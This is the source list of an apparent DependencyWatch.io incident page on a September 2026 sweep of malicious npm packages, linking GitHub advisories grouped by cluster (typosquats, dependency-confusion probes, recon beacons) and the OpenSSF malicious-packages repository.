- [GHSA-3jh2-p873-gc7r - strapi-plugin-os-info-meeb322k (Cluster H - strapi-plugin-os-info impersonator)](https://github.com/advisories/GHSA-3jh2-p873-gc7r) - GitHub
- [GHSA-vjjr-9qv2-mh33 - sql-limit-enforcer (Cluster I - install-time recon beacon)](https://github.com/advisories/GHSA-vjjr-9qv2-mh33) - GitHub
- [GHSA-mq47-gfmg-59pp - web-main (Cluster I - Burp Collaborator recon beacon)](https://github.com/advisories/GHSA-mq47-gfmg-59pp) - GitHub
- [GHSA-c9r8-qhjh-h69j - app-rrhh (Cluster I - dep-confusion probe at v999.0.0)](https://github.com/advisories/GHSA-c9r8-qhjh-h69j) - GitHub
- [GHSA-x98w-cqq8-v3q2 - @merazmz/project-tracker (Cluster I - matched scoped+unscoped dep-confusion pair)](https://github.com/advisories/GHSA-x98w-cqq8-v3q2) - GitHub
- [GHSA-54v8-j59m-366h - meraz-project-tracker (Cluster I)](https://github.com/advisories/GHSA-54v8-j59m-366h) - GitHub
- [GHSA-cmxv-8vgc-m43c - @yggbrasil/api (Cluster J - scoped CWE-506 boilerplate)](https://github.com/advisories/GHSA-cmxv-8vgc-m43c) - GitHub
- [GHSA-wg37-hw83-hqwf - @gfe/lx-watcher (Cluster J)](https://github.com/advisories/GHSA-wg37-hw83-hqwf) - GitHub
- [GHSA-h7q6-7chv-cgh2 - expect-dotenv (Cluster J - dotenv typosquat, CWE-506)](https://github.com/advisories/GHSA-h7q6-7chv-cgh2) - GitHub
- [GHSA-5823-3hg3-27v8 - lpulogin (Cluster J)](https://github.com/advisories/GHSA-5823-3hg3-27v8) - GitHub
- [GHSA-5wh2-j94m-rwpf - dilxztech (Cluster J)](https://github.com/advisories/GHSA-5wh2-j94m-rwpf) - GitHub
- [GHSA-59f6-ch49-395j - afhmxiewpsf (Cluster J - random-name spam floor)](https://github.com/advisories/GHSA-59f6-ch49-395j) - GitHub
- [OpenSSF malicious-packages repository](https://github.com/ossf/malicious-packages) - OpenSSF

---

Canonical page: https://dependencywatch.io/incident/multi-2026-09-15-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-09-15-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).
